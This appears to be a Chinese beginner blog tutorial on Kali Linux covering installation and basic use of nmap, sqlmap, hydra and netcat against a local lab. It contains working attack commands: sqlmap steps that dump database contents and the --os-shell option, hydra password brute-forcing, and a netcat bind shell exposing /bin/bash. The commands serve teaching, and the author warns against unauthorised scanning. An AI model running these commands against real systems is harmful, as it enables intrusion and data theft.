目录
前言
一、kali linux是什么?
二、安装下载kali
三、kali常见工具介绍
1.nmap
2.sqlmap
3.hydra
4.netcat
总结
相信很多同学了解到和学习网络安全的时候都听过kali系统,大家都称之为黑客最喜爱的系统,那么什么是kali,初学者用kali能做些什么,我将在本文中做简单的介绍
Kali Linux 是专门用于渗透测试的Linux操作系统,它由BackTrack发展而来。在整合了IWHAX、WHOPPIX和Auditor这三种渗透测试专用Live Linux后,BackTrack正式改名为Kali LInux。没错,kali的本质也是linux系统,就好比以前的黑客经常使用一些工具,久而久之的大家就共同开源了一个集成了各种黑客工具系统。至于为什么黑客都喜欢使用kali,主要是在kali中工具齐全避免了在需要使用的时候发现工具需要再下载安装的麻烦
kali的官网地址:https://www.kali.org
目前kali仍然在保持着更新,目前最新的kali系统为kali purple,里面继承了更多的防守方使用的工具。如果有访问有困难或者不知道怎么操作的同学,可以下载我的百度网盘,这里面的系统是我已经做过简单的处理(换apt源,改中文)等等。百度网盘:https://pan.baidu.com/s/18hirvdGXWqawrU2EdnJlgA?pwd=8as6
下载解压后用vm打开即可,默认root账号密码均为kali,kali。没有用过VMware的同学可以先到网上学习如何下载vm。另外新手可能会遇到虚拟机没有网络的问题,新手我这里推荐配置网卡时选择直接连接,等之后了解到网卡网段的知识可以再自己配置想要的网卡信息。(左上角虚拟机,设置,网络适配器,桥接模式,复制物理网络连接状态)
正如刚才所说,kali里集成了大量的黑客工具和网络安全相关工具,可以说黑客需要做的所有事情在这个系统中都有工具可以实现。下面我推荐几个新手入门可以用到的小工具。
nmap被称为诸神之眼,是一款非常强大的网络探测工具,可以实现主机发现和端口扫描,同时自身也可带漏洞扫描的脚本可以完成对主机端口的漏洞扫描
nmap最基础用法:
nmap [目的ip]
nmap 192.168.1.10
nmap [目的网段]
nmap 192.168.1.0/24
nmap也提供了大量的扫描时候可以设置的参数,下面将举例常用的参数:
-p 扫描指定端口
-sV 探测服务/版本信息
-sT 使用TCP进行扫描
-sS 使用TCP的SYN进行扫描
-sU UDP扫描
-A 启用os检测,探测目标操作系统
-SC 等效于 --script=defult使用默认脚本
添加参数可以显示出不同的扫描结果
nmap更多的详细用法可以参考该链接:https://blog.csdn.net/smli_ng/article/details/105964486
sqlmap是针对sql注入漏洞的一款自动化sql注入探测工具,支持多种操作系统环境和多种数据库的漏洞探测,渗透测试人员常常调侃“没有什么操作技术,就是sqlmap一把梭哈,屏幕显示绿了就直接下班”
sqlmap的基本使用:
sqlmap -u "www.baidu.com"
大家尽量不要在未授权的情况下去对公网资产进行批量扫描,小心去踩缝纫机哦
下面我以sqli-lab里面的靶场为例:
出现图中绿色信息说明sqlmap对该参数成功注入,注意我的url中在最后以GET方式输入了参数id(/?id),如果不给sqlmap提供参数sqlmap是无法使用的哦
找到注入点后的步骤基本是确定的
sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" --dbs #获取当前数据库服务所开启的数据库名称
sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" -D 数据库名 --tables #获取某数据库下的所有表名
sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" -D 数据库名 -T 表名 --columns #获取D数据库下T表内的所有字段
sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" -D 数据库名 -T 表名 -C 字段名 --dump #将该字段的内容全部获取出来并存储,在最后的信息中会有存储路径信息
第一步获取数据库:
第二步获取数据库下表名:
第三步获取该表字段(其实到表名这一步可以直接–dump获取表里所有内容)
所以sqlmap的使用难处在于如何找到注入点,也就是找到产生sql注入的参数,在例子里参数是GET方式上传的“id”参数,下面提供一些sqlmap常用的参数
-p 指定测试参数
-u 指定目标url,如果不用-p指定参数,需要提供GET形参数,上传GET参数方法在url后加"?id=1"
-r 加载文件中的url请求,通常对于POST型参数的注入,文件为http报文可以通过burpsuite和wireshark抓包获得
–dbs 获取数据库
–level= 指定测试的等级(1-5 默认为1)
–risk= 指定测试的风险(0-3 默认为1)
–os-shell 交互式的系统shell
详细教程可以参考:https://blog.csdn.net/smli_ng/article/details/106026901
hydra又称九头蛇,是一款非常高效的多种协议都可以使用的爆破工具,对指定ip的指定服务进行爆破,需要输入爆破使用的字典或者自己指定爆破使用的数据(比如在已知账号为admin时爆破密码)
在kali中hydra有图形化和命令行两种使用方式
对于新手来说,图形化界面更加简易好用,下面介绍图形化使用
之后选择start就好了,hydra会使用字典中的所有账号密码去做登陆的爆破尝试
当然这是hydra最简单的使用方法,hydra同样也是可以通过设置参数来针对不同情况的使用,下面给出hydra的命令行详细使用链接:https://zhuanlan.zhihu.com/p/397779150
netcat简称nc,是一款目前最常用网络工具,它提供基于socket协议套接字针对TCP,UDP连接的网络使用,在具有nc使用权时几乎可以建立任何类型的连接,通常在渗透测试中用该工具获得目的ip的shell
nc简单使用方式:建立连接传输信息
主机1:开启对6666端口的监听
nc -lvp 6666
参数解释:
-l 监听
-v 显示详细信息
-p 指定端口
主机2:连接主机1的6666端口
nc 192.168.0.163 6666
nc常用使用:获取远程主机shell
???????1.正向连接shell
主机1:
nc -lvp 6666 -e /bin/bash
参数解释:
-e 程序重定向
这里将主机1的/bin/bash重定向到了自己主机的6666端口
主机2:
nc 192.168.0.163 6666
大家可以思考一下为什么左边会有下面的报错呢?并且在执行sudo su尝试进入root权限时,必须在左侧主机输入密码才可以进入,进入后才会收到来自右侧发来的密码kali并且产生报错。可以尝试了解不同终端bash/zsh/sh的区别